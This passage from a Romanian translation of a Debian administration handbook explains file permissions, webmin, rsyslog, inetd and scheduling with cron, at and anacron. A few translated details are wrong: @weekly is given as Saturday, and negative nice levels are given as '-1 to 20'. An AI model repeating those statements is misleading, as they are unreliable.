/etc/gdm3/daemon.conf) și în final porniți VNC server cu inetd, astfel încât o sesiune să fie pornită
automat atunci când un utilizator încearcă să se autentifice. De exemplu, puteți adăuga această linie la
/etc/inetd.conf:

5950 stream tcp nowait nobody.tty /usr/bin/Xvnc Xvnc -inetd -query localhost -
⮩ once -geometry 1024x768 -depth 16 securitytypes=none

Redirecționarea conexiunilor primite către display manager rezolvă problema autentificării, deoarece numai
utilizatorii cu conturi locale vor trece de ecranul de autentificare gdm3 (sau echivalentul kdm, xdm etc.).
Deoarece această operație permite mai multe conectări simultane fără nicio problemă (cu condiția ca server-
ul să fie suficient de puternic), poate fi folosită chiar și pentru a oferi desktop-uri complete pentru utilizatorii de
telefonie mobilă (sau pentru sisteme desktop mai puțin puternice, configurate de clienți mărunți). Utilizatorii se
conectează pur și simplu pe ecranul server-ului cu vncviewer server:50, deoarece este utilizat port 5950.

9.3. Gestionarea drepturilor

Linux este cu siguranță un sistem multi-utilizator, de aceea este necesar să furnizați un sistem de permisiune
pentru a controla setul de operații autorizate pe fișiere și directoare, care include toate resursele și
dispozitivele sistemului (pe un sistem Unix, orice dispozitiv este reprezentat de un fișier sau director). Acest
principiu este comun tuturor sistemelor Unix, dar un memento este întotdeauna util, mai ales că există unele
utilizări avansate interesante și relativ necunoscute.
• proprietarul (simbolizat prin u ca în “user”);
• grupul de proprietari (simbolizat prin g ca în “group”), reprezentând toți membrii grupului;
• alții (simbolizate prin o ca în “other”.
Se pot combina trei tipuri de drepturi:
• citire (simbolizată prin r ca în “read”);
• scriere (sau modificarea, simbolizată prin w ca în “write”);
• executare (simbolizată prin x ca în “eXecute”).
În cazul unui fișier, aceste drepturi sunt ușor de înțeles: accesul la citire permite citirea conținutului (inclusiv
copierea), accesul la scriere permite schimbarea acestuia, iar accesul la execuție vă permite să îl rulați (ceea
ce va funcționa doar dacă este un program).

SECURITATE Două drepturi speciale sunt relevante pentru fișierele executabile: setuid și setgid (simbolizate cu litera
Executabilele setuid și “s”). Rețineți că vorbim frecvent de “bit”, deoarece fiecare dintre aceste valori booleane poate fi reprezentată de
setgid un 0 sau un 1. Aceste două drepturi permit oricărui utilizator să execute programul cu drepturile proprietarului
sau respectiv al grupului. Acest mecanism acordă acces la caracteristici care necesită permisiuni, la nivel
superior, altele decât cele pe care le-ați avea de obicei.

173
 Întrucât un program rădăcină setuid este rulat sistematic sub identitatea super-utilizatorului, este foarte important
să vă asigurați că este sigur și fiabil. Într-adevăr, un utilizator care ar reuși prin corupție să apeleze o comandă la
alegere ar putea apoi să înlocuiască utilizatorul root și să aibă toate drepturile asupra sistemului.

Un director este tratat diferit. Accesul pentru citire dă dreptul de a consulta lista intrărilor sale (fișiere și
directoare), accesul la scriere permite crearea sau ștergerea fișierelor și accesul la executare permite
parcurgerea acestuia (în special pentru a vă duce acolo cu comanda cd). Putând să parcurgeți un director
fără a putea să-l citiți, dă permisiunea de a accesa intrările din acesta cunoscute după nume, dar nu pentru a
le găsi dacă nu știți existența sau numele lor exact.

SECURITATE setgid bit se aplică și în directoare. Orice articol nou creat în astfel de directoare este atribuit automat grupului
Directorul setgid și sticky bit de proprietari al directorului părinte, în loc să moștenească grupul principal al creatorului, ca de obicei. Această
configurație evită ca utilizatorul să-și schimbe grupul principal (cu comanda newgrp) atunci când lucrează într-
un arbore de fișiere partajat între mai mulți utilizatori ai aceluiași grup dedicat.
Bitul “lipicios” (simbolizat prin litera “t”) este o permisiune utilă doar în directoare. Este utilizat în special
pentru directoarele temporare în care toată lumea are acces la scriere (cum ar fi /tmp/): restricționează
ștergerea fișierelor, astfel încât numai proprietarul lor (sau proprietarul directorului părinte) să poată face acest
lucru. În lipsa acestui lucru, toată lumea ar putea șterge fișierele altor utilizatori din /tmp/.

Trei comenzi controlează permisiunile asociate cu un fișier:

• chown user file schimbă proprietarul fișierului;
• chgrp group file modifică grupul proprietarilor;
• chmod rights file modifică permisiunile pentru fișier.
Există două modalități de prezentare a drepturilor. Printre ele, reprezentarea simbolică este probabil cea mai
ușoară de înțeles și de amintit. Ea implică simbolurile scrisorii menționate mai sus. Puteți defini drepturi
pentru fiecare categorie de utilizatori (u/g/o), prin setarea lor în mod explicit (cu =), adăugând (+), sau
scăzând (-). Astfel, formula u=rwx,g+rw,o-r oferă proprietarului drepturi pentru citirea, scrierea și
executarea drepturilor, adaugă drepturi de citire și scriere pentru grupul de proprietari și elimină drepturile de
citire pentru alți utilizatori. Drepturile care nu sunt modificate prin adăugarea sau scăderea unei astfel de
comenzi rămân nemodificate. Litera a, pentru “all” (toți), acoperă toate cele trei categorii de utilizatori, astfel
încât a=rx acordă tuturor celor trei categorii aceleași drepturi (citire și executare, dar nu și scriere).
Reprezentarea numerică (octală) asociază fiecare drept cu o valoare: 4 pentru citire, 2 pentru scriere și 1
pentru execuție. Asociem fiecare combinație de drepturi cu suma cifrelor. Fiecare valoare este apoi atribuită
diferitelor categorii de utilizatori, punându-le cap la cap, în ordinea obișnuită, owner, group, others (proprietar,
grup, alții).
De exemplu, comanda chmod 754 file va seta următoarele drepturi: citire, scriere și execuție pentru
proprietar (fiindcă 7 = 4 + 2 + 1); citire și execuție pentru grup (fiindcă 5 = 4 + 1); citit numai pentru alții. 0
înseamnă “fără drepturi“; astfel chmod 600 file permite drepturi de citire/scriere pentru proprietar și niciun
drept pentru oricine altcineva. Cele mai frecvente combinații drepte sunt 755 pentru fișiere și directoare
executabile și 644 pentru fișierele de date.
Pentru a reprezenta drepturi speciale, puteți prefixa o a patra cifră la acest număr în conformitate cu același
principiu, în care biții setuid, setgid și sticky bits sunt 4, 2 și respectiv 1. chmod 4754 va asocia
setuid bit cu drepturile descrise anterior.
Rețineți că utilizarea notării octale permite doar setarea tuturor drepturilor asupra unui fișier; nu îl puteți
utiliza pentru a adăuga pur și simplu un drept nou, cum ar fi accesul la citire pentru proprietarul grupului,
deoarece trebuie să țineți cont de drepturile existente și să calculați noua valoare octală corespunzătoare.

SFAT Uneori trebuie să schimbăm drepturile pentru un întreg arbore de fișiere. Toate comenzile de mai sus au o
Operație recursivă opțiune -R pentru a opera recursiv în subdirectoare.
Distincția între directoare și fișiere cauzează uneori probleme cu operațiunile recursive. De aceea, litera “X” a
fost introdusă în reprezentarea simbolică a drepturilor. Reprezintă un drept de executare care se aplică numai
directoarelor (și nu fișierelor care nu au acest drept). Astfel, chmod -R a+X directory va adăuga doar
drepturi de execuție pentru toate categoriile de utilizatori (a) pentru toate sub-directoarele și fișiere pentru care
cel puțin o categorie de utilizatori (chiar dacă unicul lor proprietar) are deja drepturi de executare.

SFAT Frecvent doriți să schimbați grupul de fișiere în același timp în care schimbați proprietarul. Comanda chown are
Schimbarea utilizatorului și a o sintaxă specială pentru asta: chown user:group file
grupului

174
 ÎN DETALIU Atunci când o aplicație creează un fișier, atribuie permisiuni indicative, știind că sistemul elimină automat
umask anumite drepturi, date de comanda umask. Introduceți umask într-un shell; veți vedea o mască, cum ar fi
0022. Aceasta este pur și simplu o reprezentare octală a drepturilor care trebuie eliminate în mod sistematic (în
acest caz, dreptul de scriere pentru grup și pentru alți utilizatori).
Dacă dați o nouă valoare octală, comanda umask modifică masca. Folosită într-un fișier de inițializare a shell-
ului (de exemplu, ~/.bash_profile), aceasta va schimba efectiv masca implicită pentru sesiunile de lucru.

9.4. Interfețe de administrare

Utilizarea unei interfețe grafice pentru administrare este interesantă în diferite circumstanțe. Un administrator
nu cunoaște neapărat toate detaliile de configurare pentru toate serviciile sale și nu are întotdeauna timpul
necesar pentru a căuta documentația. O interfață grafică pentru administrare poate accelera astfel
desfășurarea unui nou serviciu. De asemenea, poate simplifica configurarea serviciilor greu de configurat.
O astfel de interfață este doar un ajutor și nu un scop în sine. În toate cazurile, administratorul trebuie să-și
adapteze comportamentul pentru a înțelege și a găsi o soluție la orice problemă potențială.
Deoarece nicio interfață nu este perfectă, puteți fi tentat să încercați mai multe soluții. Acest lucru trebuie
evitat pe cât posibil, deoarece uneori diferite instrumente sunt incompatibile prin metodele lor de lucru. Chiar
dacă toate urmăresc să fie foarte flexibile și încearcă să adopte fișierul de configurare ca o singură referință,
acestea nu sunt întotdeauna capabile să integreze modificările externe.

9.4.1. Administrarea pe o interfață web: webmin

Aceasta este, fără îndoială, una dintre cele mai de succes interfețe de administrare. Este un sistem
modular gestionat printr-un browser web, acoperind o gamă largă de zone și instrumente. În plus, este
internaționalizat și disponibil în mai multe limbi.

Figura 9.5 Tabloul de bord Webmin

Din păcate, webmin nu mai face parte din Debian. Întreținătorul său Debian — Jaldhar H. Vyas — a eliminat
pachetele create de el, deoarece nu mai avea timpul necesar pentru a le menține la un nivel de calitate
acceptabil. Nimeni nu a preluat oficial, astfel încât Jessie nu are pachetul webmin.
Cu toate acestea, există un pachet neoficial distribuit pe situl webmin.com. Spre deosebire de pachetele
originale Debian, acest pachet este monolitic; toate modulele sale de configurare sunt instalate și activate în
mod implicit, chiar dacă serviciul corespunzător nu este instalat pe mașină.

175
 SECURITATE La prima autentificare, identificarea se realizează cu numele de utilizator root și parola obișnuită. Este
Schimbarea parolei de root recomandat să schimbați parola folosită pentru webmin cât mai curând posibil, astfel încât, dacă este
compromisă, parola root pentru server nu va fi implicată, chiar dacă acest lucru conferă drepturi administrative
importante mașinii.
Aveți grijă! Deoarece webmin are atât de multe caracteristici, securitatea întregului sistem ar putea
compromisă prin atacul un utilizator răuvoitor. În general, interfețele de acest fel nu sunt recomandate pentru
sisteme importante cu restricții de securitate puternice (firewall, server-e sensibile etc.).

Webmin este utilizat printr-o interfață web, dar nu impune instalarea Apache. În esență, acest software are
propriul mini web server integrat. Acest server ascultă în mod implicit pe port 10000 și acceptă conexiuni secure
HTTP.
Modulele incluse acoperă o mare varietate de servicii, printre care:
• toate serviciile de bază: crearea de utilizatori și grupuri, gestionarea fișierelor crontab, script-uri init,
vizualizarea jurnalelor etc.
• bind: configurare DNS server (nume de serviciu);
• postfix: configurația SMTP server (e-mail);
• inetd: configurarea super-server inetd;
• quota: gestionarea cotelor pentru utilizatori;
• dhcpd: configurația DHCP server;
• proftpd: configurația FTP server;
• samba: configurația server-ului de fișiere Samba;
• software: instalarea sau eliminarea software-ului din pachetele Debian și actualizările sistemului.
Interfața de administrare este disponibilă într-un browser web la https://localhost:10000. Aveți grijă!
Nu toate modulele sunt utilizabile direct. Uneori, acestea trebuie configurate specificând locațiile fișierelor de
configurare corespunzătoare și ale unor fișiere executabile (program). Frecvent, sistemul va afișa politicos
atunci când nu reușește să activeze un modul solicitat.

ALTERNATIVĂ Proiectul GNOME oferă, de asemenea, mai multe interfețe de administrare, care sunt de obicei accesibile prin
Centrul de control GNOME intrarea “Setări” în meniul utilizator din partea dreaptă sus. gnome-control-center este programul
principal care le reunește pe toate, dar multe dintre instrumentele de configurare la nivel de sistem sunt furnizate
în mod eficient de alte pachete (accountsservice, system-config-printer, etc.). Deși sunt ușor de utilizat, aceste
aplicații acoperă doar un număr limitat de servicii de bază: gestionarea utilizatorului, configurarea timpului,
configurația rețelei, configurația imprimantei și așa mai departe.

9.4.2. Configurarea pachetelor: debconf

Multe pachete sunt configurate automat după ce pun câteva întrebări în timpul instalării prin intermediul
instrumentului Debconf. Aceste pachete pot fi reconfigurate rulând dpkg-reconfigure package.
În majoritatea cazurilor, aceste setări sunt foarte simple; doar unele variabile importante din fișierul de
configurare sunt modificate. Aceste variabile sunt adesea grupate între două linii de “demarcație”, astfel încât
reconfigurarea pachetului să afecteze numai zona atașată. În alte cazuri, reconfigurarea nu va schimba
nimic dacă scriptul detectează o modificare manuală a fișierului de configurare, pentru a păstra aceste
intervenții umane (deoarece script nu se poate asigura că propriile modificări nu vor perturba setările
existente).

POLITICA DEBIAN Politica Debian prevede în mod expres că trebuie făcut totul pentru a păstra modificările manuale făcute într-un
Conservarea schimbărilor fișier de configurare, astfel încât tot mai multe scripturi să ia măsuri de precauție la editarea fișierelor de
configurare. Principiul general este simplu: scriptul va face modificări numai dacă cunoaște starea fișierului de
configurare, care se verifică prin compararea sumei de verificare a fișierului cu cea a ultimului fișier generat
automat. Dacă sunt aceleași, scriptul este autorizat să schimbe fișierul de configurare. În caz contrar, stabilește
că fișierul a fost schimbat și întreabă ce acțiuni ar trebui să ia (instalați noul fișier, salvați fișierul vechi sau
încercați să integrați noile modificări cu fișierul existent). Acest principiu de precauție a fost mult timp unic
pentru Debian, dar alte distribuții au început treptat să-l îmbrățișeze.
Programul ucf (din pachetul Debian cu același nume) poate fi utilizat pentru a implementa un astfel de
comportament.

176
9.5. Evenimente de sistem syslog
9.5.1. Principiul și mecanismul
Daemon rsyslogd este responsabil cu colectarea mesajelor de servicii provenite din aplicații și kernel, apoi
expedierea lor în fișierele jurnal (de obicei stocate în directorul /var/log/). Se supune fișierului de
configurare /etc/rsyslog.conf.
Fiecare mesaj de jurnal este asociat cu un subsistem al aplicației (numit “facility” în documentație):
• auth și authpriv: pentru autentificare;
• cron: provine din serviciile de planificare a sarcinilor, cron și atd;
• daemon: afectează un demon fără nici o clasificare specială (DNS, NTP etc.);
• ftp: se preocupă de FTP server;
• kern: mesaj care vine de la nucleu;
• lpr: provine de la subsistemul de imprimerie;
• mail: provine de la subsistemul de e-mail;
• news: Mesajul subsistemului Usenet (în special de la un NNTP — Network News Transfer Protocol —
server-ul care gestionează grupurile de știri);
• syslog: mesaje de pe, însuși, syslogd server;
• user: mesajele utilizatorului (generice);
• uucp: mesaje de pe UUCP server (Unix to Unix Copy Program, un protocol vechi folosit în special
pentru distribuirea mesajelor de e-mail);
• local0 la local7: rezervat pentru uz local.
Fiecare mesaj este asociat și cu un nivel de prioritate. Iată lista în ordine descrescătoare:
• emerg: “Ajutor!“ Există o situație de urgență, sistemul este probabil inutilizabil.
• alert: grăbiți-vă, orice întârziere poate fi periculoasă, măsurile trebuie luate imediat;
• crit: condițiile sunt critice;
• err: eroare;
• warn: avertizare (eroare potențială);
• notice: condițiile sunt normale, dar mesajul este important;
• info: mesaj informativ;
• debug: mesaj de depanare.

9.5.2. Fișierul de configurare

Sintaxa fișierului /etc/rsyslog.conf este detaliată în pagina de manual rsyslog.conf(5) dar există și
documentație HTML disponibilă în pachetul (/usr/share/doc/rsyslog-doc/html/index.html).
Principiul general este să scrieți perechile “selector” și “action”. Selectorul definește toate mesajele relevante,
iar acțiunile descriu cum să le rezolvați.

9.5.2.1. Sintaxa selectorului

Selector este o listă separată cu punct și virgulă (;) a perechilor subsystem.priority (exemplu:
auth.notice;mail.info). Un asterisc (*) poate reprezenta toate subsistemele sau toate prioritățile
(exemple: *.alert sau mail.*). Mai multe subsisteme pot fi grupate, prin separarea lor cu virgulă
(exemplu: auth,mail.info). Prioritatea indicată acoperă și mesaje cu prioritate egală sau mai mare;
astfel, auth.alert indică mesajele auth ,ale subsistemului, cu prioritatea de alert sau emerg. Prefixat
cu un punct de exclamare (!), Indică opusul, cu alte cuvinte prioritățile strict inferioare; auth.!notice
indică astfel mesajele emise din auth, cu prioritatea info sau debug. Prefixat cu un semn egal (=), acesta
corespunde exact și doar priorității indicate (auth.=notice se referă doar la mesajele din auth cu
prioritatea notice).
Fiecare element al listei din selector revocă elementele anterioare. Astfel, este posibil să restricționați un set
sau să excludeți din el anumite elemente. De exemplu, kern.info;kern.!err înseamnă mesaje de la
kernel cu prioritate între info și warn. Prioritatea none indică setul gol (fără priorități) și poate servi pentru a

177
exclude un subsistem dintr-un set de mesaje. Astfel, *.crit;kern.none indică toate mesajele cu prioritate
egale sau mai mari decât crit care nu provin din kernel.

9.5.2.2. Sintaxa acțiunilor

NOȚIUNI DE BAZĂ Named pipe (conducta numită) este un tip particular de fișier care funcționează ca o conductă tradițională
Numed pipe, o conductă (conducta pe care o faceți cu simbolul “|” din linia de comandă), dar printr-un fișier. Acest mecanism are
persistentă avantajul că poate asocia două procese care nu au legătură. Orice a fost scris unei conducte numite blochează
procesul care scrie până când un alt proces încearcă să citească datele scrise. Acest al doilea proces citește datele
scrise de primul, care poate relua apoi execuția.
Un astfel de fișier este creat cu comanda mkfifo.

Diferitele acțiuni posibile sunt:

• adaugă mesajul într-un fișier (exemplu: /var/log/messages);
• trimiteți mesajul la un server la distanță syslog (exemplu: @log.scoalagenerala.com);
• trimite mesajul către o named pipe existentă (exemplu: |/dev/xconsole);
• trimite mesajul către unul au mai mulți utilizator, dacă sunt autentificați (exemplu: root,dogg);
• trimite mesajul tuturor utilizatorilor autentificați (exemplu: *);
• scrie mesajul în text console (exemplu: /dev/tty8).

SECURITATE Redirecționarea jurnalelor. Este o idee bună să înregistrați cele mai importante jurnalele pe o mașină separată
Forwarding logs (poate dedicată în acest scop), deoarece acest lucru va împiedica orice posibil intrus să înlăture urmele
intruziunii (cu excepția cazului în care, desigur, ar compromite și acest alt server). Mai mult, în cazul unei
probleme majore (cum ar fi un accident de nucleu), aveți jurnalele disponibile pe o altă mașină, ceea ce vă crește
șansele de a determina succesiunea evenimentelor care au provocat accidentul.
Pentru a accepta mesajele de jurnal trimise de alte utilaje, trebuie să reconfigurați rsyslog: în practică, este
suficient să activați intrările gata de utilizare din /etc/rsyslog.conf ($ModLoad imudp și
$UDPServerRun 514).

9.6. inetd super-server

Inetd (adesea numit “Internet super-server”) este un server de server-e. Execută la cerere server-e, utilizate rar,
astfel încât acestea să nu fie nevoite să ruleze continuu.
Fișierul /etc/inetd.conf listează aceste server-e și port-urile lor obișnuite. Comanda inetd le ascultă pe
toate; când detectează o conexiune la un astfel de port, execută programul server-ului corespunzător.

POLITICA DEBIAN Pachetele doresc frecvent să înregistreze un nou server în fișierul /etc/inetd.conf, dar Politica Debian
Înregistrați un server în interzice oricărui pachet să modifice un fișier de configurare pe care nu îl deține. Acesta este motivul pentru care
inetd.conf a fost creat scriptul update-inetd (în pachetul cu același nume): Gestionează fișierul de configurare, iar alte
pachete îl pot utiliza astfel pentru a înregistra un server nou la configurația super-server-elor.

Fiecare linie semnificativă a fișierului /etc/inetd.conf descrie un server prin șapte câmpuri (separate prin
spații):
• Numărul TCP port sau UDP port, sau numele serviciului (care este asociat, într-un număr de port
standard, cu informațiile conținute în fișierul /etc/services).
• Tipul prizei (socket): stream pentru o conexiune TCP, dgram pentru datagramele UDP.
• Protocolul: tcp sau udp.
• Opțiunile: două valori posibile: wait sau nowait, pentru a spune dacă inetd ar trebui să aștepte
sau nu la sfârșitul procesului lansat înainte de a accepta o altă legătură. Pentru conexiunile TCP,
care fac cu ușurință multiplexare, puteți utiliza de obicei nowait. Pentru programele care răspund
prin UDP, ar trebui să utilizați nowait numai dacă server-ul este capabil să gestioneze mai multe
conexiuni în paralel. Acestui câmp puteți adăuga un sufix, cu o perioadă urmată de numărul maxim
de conexiuni autorizate pe minut (limita implicită este 256).
• Numele de utilizator sub identitatea căruia utilizatorul va rula server-ul.
• Calea completă către programul server de executat.
• Argumentele: aceasta este o listă completă a argumentelor programului, inclusiv numele său propriu
(argv[0] in C).
Următorul exemplu ilustrează cele mai frecvente cazuri:

178
 Exemplul 9.1 Extras din /etc/inetd.conf

talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd

finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
ident stream tcp nowait nobody /usr/sbin/identd identd -i

Programul tcpd este frecvent utilizat în fișierul /etc/inetd.conf. Permite limitarea conexiunilor primite
prin aplicarea regulilor de control de acces, documentate în pagina de manual hosts_access(5) și care sunt
configurate în fișierele /etc/hosts.allow și /etc/hosts.deny. După ce s-a stabilit că este autorizată
conexiunea, tcpd execută server-ul real (ca în exemplul nostru in.fingerd). De remarcat că tcpd se
bazează pe numele sub care a fost invocat (aceasta este primul argument, argv[0]) pentru a identifica
programul real care va fi rulat. Deci nu ar trebui să începeți lista de argumente cu tcpd ci cu programul care
trebuie apelat (wrapped).

COMUNITATE Wietse Venema, a cărui expertiză în domeniul securității l-a făcut un programator de renume, este autorul
Wietse Venema programului tcpd. El este, de asemenea, principalul creator al Postfix, server-ul modular de e-mail (SMTP,
Simple Mail Transfer Protocol), conceput pentru a fi mai sigur și mai fiabil decât sendmail, care prezintă o
lungă istorie a vulnerabilităților de securitate.

ALTERNATIVĂ În timp ce Debian instalează openbsd-inetd implicit, nu lipsesc alternativele: putem menționa inetutils-inetd,
Alte comenzi inetd micro-inetd, rlinetd și xinetd.
Această ultimă manifestare a unui super-server oferă posibilități foarte interesante. Mai ales, configurația sa
poate fi împărțită în mai multe fișiere (desigur, stocate în directorul /etc/xinetd.d/), ceea ce poate ușura
viața unui administrator.
Nu în ultimul rând, este posibil chiar să emulăm comportamentul inetd cu mecanismul de activare a soclului
systemd (a se vedea secțiunea 9.1.1. “Sistemul systemd init” pagina 163).

9.7. Planificarea sarcinilor cu cron și atd

cron este daemon-ul responsabil de executarea comenzilor planificate și recurente (în fiecare zi, în fiecare
săptămână etc.); atd este cea care se ocupă de comenzile care trebuie executate o singură dată, dar într-
un moment specific în viitor.
Într-un sistem Unix, multe sarcini sunt programate pentru execuție regulată:
• rotirea jurnalelor;
• actualizarea bazei de date pentru programul locate;
• copii de rezervă;
• scripturi de întreținere (cum ar fi curățarea fișierelor temporare).
În mod implicit, toți utilizatorii pot programa executarea sarcinilor. Fiecare utilizator are astfel propriul
crontab în care poate înregistra comenzi programate. Poate fi editată rulând crontab -e (conținutul său
este stocat în fișierul /var/spool/cron/crontabs/user).

SECURITATE Puteți restricționa accesul la cron prin crearea unui fișier de autorizare explicit (listă albă) în
Limitarea cron sau atd /etc/cron.allow, în care indicați singurii utilizatori autorizați să planifice comenzi. Toate celelalte vor fi
private de această caracteristică. În schimb, pentru a bloca unul sau doi probleme, puteți scrie numele de
utilizator în fișierul de interdicție explicită (lista neagră), /etc/cron.deny. Aceeași caracteristică este
disponibilă pentru atd cu fișierele /etc/at.allow și /etc/at.deny.

Utilizatorul root are propriul său crontab, dar poate utiliza și fișierul /etc/crontab, sau scrie fișiere
suplimentare crontab în directorul /etc/cron.d. Aceste ultime două soluții au avantajul de a putea specifica
identitatea utilizatorului pe care să o folosească la executarea comenzii.
Pachetul cron include în mod implicit câteva comenzi planificate pe care le execută:
• programe din directorul /etc/cron.hourly/ o dată pe oră;
• programe din /etc/cron.daily/ o dată pe zi;
• programe din /etc/cron.weekly/ o dată pe săptămână;
• programe din /etc/cron.monthly/ o dată pe lună;
Multe pachete Debian se bazează pe acest serviciu: punând scripturi de întreținere în aceste directoare,
asigură funcționarea optimă a serviciilor lor.

179
9.7.1. Formatul unui fișier crontab
SFAT cron recunoaște unele abrevieri care înlocuiesc primele cinci câmpuri într-o intrare crontab. Ele corespund
Texte prescurtate pentru cron celor mai clasice opțiuni de programare:
• @yearly: o dată pe an (Ianuarie 1, at 00:00);
• @monthly: o dată pe lună (întâi ale lunii, la 00:00);
• @weekly: o dată pe săptămână (Sâmbătă la 00:00);
• @daily: o dată pe (la 00:00);
• @hourly: o dată pe oră (la începutul fiecărei ore).

CAZ PARTICULAR În Debian, cron ia în considerare cât mai bine schimbarea de timp (pentru ora de vară, sau de fapt pentru orice
cron și ora de vară schimbare semnificativă a orei locale). Astfel, comenzile care ar fi trebuit să fie executate într-o oră care nu au
existat niciodată (de exemplu, sarcinile programate la 2:30 am în timpul schimbării de primăvară în Franța,
deoarece la 2:00 am ceasul sare direct la 3:00 am) sunt executate la scurt timp după schimbarea timpului (deci în
jurul orei 3:00 AM DST). Pe de altă parte, în toamnă, când comenzile ar fi executate de mai multe ori (2:30 am
DST, apoi o oră mai târziu la 2:30 am ora standard, deoarece la 3:00 am DST ceasul se întoarce înapoi la 2:00
am) sunt executate o singură dată.
Aveți grijă însă, dacă ordinea în care diferitele sarcini programate și întârzierea dintre execuțiile lor respective
contează, ar trebui să verificați compatibilitatea acestor constrângeri cu comportamentul cron; dacă este
necesar, puteți pregăti un program special pentru cele două nopți problematice pe an.

Fiecare linie semnificativă a unui crontab descrie o comandă programată cu cele șase (sau șapte) câmpuri
următoare:
• valoarea pentru minut (numărul de la 0 la 59);
• valoarea pentru oră (numărul de la 0 la 23);
• valoarea pentru ziua din lună (de la 1 la 31);
• valoarea pentru lună (de la 1 la 12);
• valoarea pentru ziua săptămânii (de la 0 la 7, 1 corespunzător pentru Luni, Duminică fiind
reprezentată atât de 0 cât și de 7; de asemenea, este posibilă utilizarea primelor trei litere ale
numelui zilei săptămânii în engleză, cum ar fi Sun, Mon etc.);
• numele de utilizator sub a cărui identitate trebuie executată comanda (în fișierul /etc/crontab și
în fragmentele situate în /etc/cron.d/, dar nu în fișierele proprii ale utilizatorilor crontab);
• comanda de executat (atunci când sunt îndeplinite condițiile definite de primele cinci coloane).
Toate aceste detalii sunt documentate în paginile de manual crontab(5).
Fiecare valoare poate fi exprimată sub forma unei liste de valori posibile (separate prin virgule). Sintaxa a-b
descrie intervalul tuturor valorilor dintre a și b. Sintaxa a-b/c descrie intervalul cu un increment de c
(exemplu: 0-10/2 înseamnă 0,2, 4,6,8,10). Un asterisc * este un wildcard (aka jocker din cărți),
reprezentând toate valorile posibile.

Exemplul 9.2 Fișier șablon crontab

#Format
#min hour day mon dow command

# Download data every night at 7:25 pm

25 19 * * * $HOME/bin/get.pl

# 8:00 am, on weekdays (Monday through Friday)

00 08 * * 1-5 $HOME/bin/dosomething

# Restart the IRC proxy after each reboot

@reboot /usr/bin/dircproxy

SFAT Pentru a executa o comandă o singură dată, imediat după pornirea computerului, puteți utiliza macro @reboot
Executarea unei comenzi la (o simplă repornire a cron nu declanșează o comandă programată cu @reboot). Aceasta macro înlocuiește
boot primele cinci câmpuri ale unei intrări din crontab.

ALTERNATIVĂ Este posibilă să emulăm o parte din comportamentul cron cu mecanismul de cronometrare systemd (vedeți
Emularea cron cu systemd secțiunea 9.1.1. “Sistemul systemd init” pagina 163).

180
9.7.2. Folosirea comenzii at
at execută o comandă la un moment specificat în viitor. Este nevoie de ora și data dorite ca parametri ai
liniei de comandă, iar comanda să fie executată în intrarea sa standard. Comanda va fi executată ca și cum
ar fi fost introdusă în shell-ul curent. at are chiar grijă să păstreze mediul curent, pentru a reproduce aceleași
condiții atunci când execută comanda. Ora este indicată urmând convențiile obișnuite: 16:12 sau 4:12 pm
reprezintă 4:12 pm. Data poate fi specificată în mai multe formate europene și occidentale, inclusiv
DD.MM.YY (27.07.15 reprezentând astfel 27 July 2015), YYYY-MM-DD (această aceeași dată fiind
exprimată ca 2015-07-27), MM/DD/[CC]YY (adică, 12/25/15 sau 12/25/2015 vor fi decembrie 25, 2015)
sau MMDD[CC]YY (astfel încât 122515 sau 12252015 vor reprezenta, de asemenea, 25 decembrie 2015).
Fără aceasta, comanda va fi executată imediat ce ceasul ajunge la ora indicată (în aceeași zi, sau mâine,
dacă timpul a trecut deja în aceeași zi). Puteți, tot asa, să scrieți pur și simplu “today” sau “tomorow”, care se
explică de la sine.

$ at 09:00 27.07.15 <<END

> echo "Don't forget to wish a Happy Birthday to Raphaël!" \
> | mail lolando@debian.org
> END
warning: commands will be executed using /bin/sh
job 31 at Mon Jul 27 09:00:00 2015

O sintaxă alternativă amână execuția pentru o durată dată: at now + number period. Perioada poate fi
minutes, hours, days, sau weeks. Numărul indică doar numărul de unități menționate care trebuie să
treacă înainte de execuția comenzii.
Pentru a anula o sarcină programată de cron, pur și simplu executați crontab -e și ștergeți linia
corespunzătoare din fișierul crontab. Pentru sarcinile at, este aproape la fel de ușor: rulează atrm
task-number. Numărul sarcinii este indicat de comanda at când ați programat-o, dar o puteți găsi din nou
cu comanda atq, care oferă lista curentă a sarcinilor programate.

9.8. Planificarea sarcinilor asincrone: anacron

anacron este daemon-ul care completează cron pentru computere care nu sunt activate în permanență.
Deoarece sarcinile obișnuite sunt de obicei programate pentru miezul nopții, ele nu vor fi niciodată executate
când computerul este oprit în acel moment. Scopul anacron este de a le executa, ținând cont de perioadele
în care computerul nu funcționează.
Rețineți că anacron va efectua frecvent o astfel de activitate la câteva minute după pornirea mașinii, ceea
ce poate face computerul să răspundă mai încet. Acesta este motivul pentru care sarcinile din fișierul /etc/
anacrontab sunt pornite cu comanda nice, care reduce prioritatea lor de execuție și limitează astfel
impactul lor asupra restului sistemului. Atenție, formatul acestui fișier nu este același cu cel al
/etc/crontab; dacă aveți nevoi speciale pentru anacron, consultați pagina de manual anacrontab(5).

NOȚIUNI DE BAZĂ Sistemele Unix (de astfel și Linux) sunt sisteme multi-tasking și multi-user. Într-adevăr, mai multe procese pot
Priorități și nice rula în paralel și pot fi deținute de utilizatori diferiți: kernel mediază accesul la resursele dintre diferitele procese.
Ca parte a acestei sarcini, are un concept de prioritate, care îi permite să favorizeze anumite procese față de
altele, după cum este necesar. Când știți că un proces se poate rula cu prioritate scăzută, puteți să îl indicați
rulând cu nice program. Programul va avea apoi o pondere mai mică din CPU și va avea un impact mai mic
asupra altor procese de rulare. Desigur, dacă nu este necesar să se execute alte procese, programul nu va fi
reținut artificial.
nice funcționează cu “niveluri”: nivelurile pozitive (de la 1 la 19) scad progresiv prioritatea, în timp ce
nivelurile negative (de la -1 la 20) o vor crește — dar numai root poate folosi aceste niveluri negative. Dacă nu
se indică altfel (a se vedea pagina de manual nice(1)), nice crește nivelul actual cu 10.
Dacă descoperiți că o sarcină deja executată ar fi trebuit să înceapă cu nice, nu este prea târziu să o remediați;
comanda renice schimbă prioritatea unui proces care rulează deja, în orice direcție (dar reducerea “nivelului”
unui proces este rezervată utilizatorului root).

Instalarea pachetului anacron dezactivează execuția prin cron ale scripturilor din directoarele
/etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ și /etc/cron.monthly/. Acest
lucru evită dubla lor execuție prin anacron și cron. Comanda cron rămâne activă și va continua să
gestioneze celelalte sarcini programate (în special cele programate de utilizatori).

181
9.9. Quotas
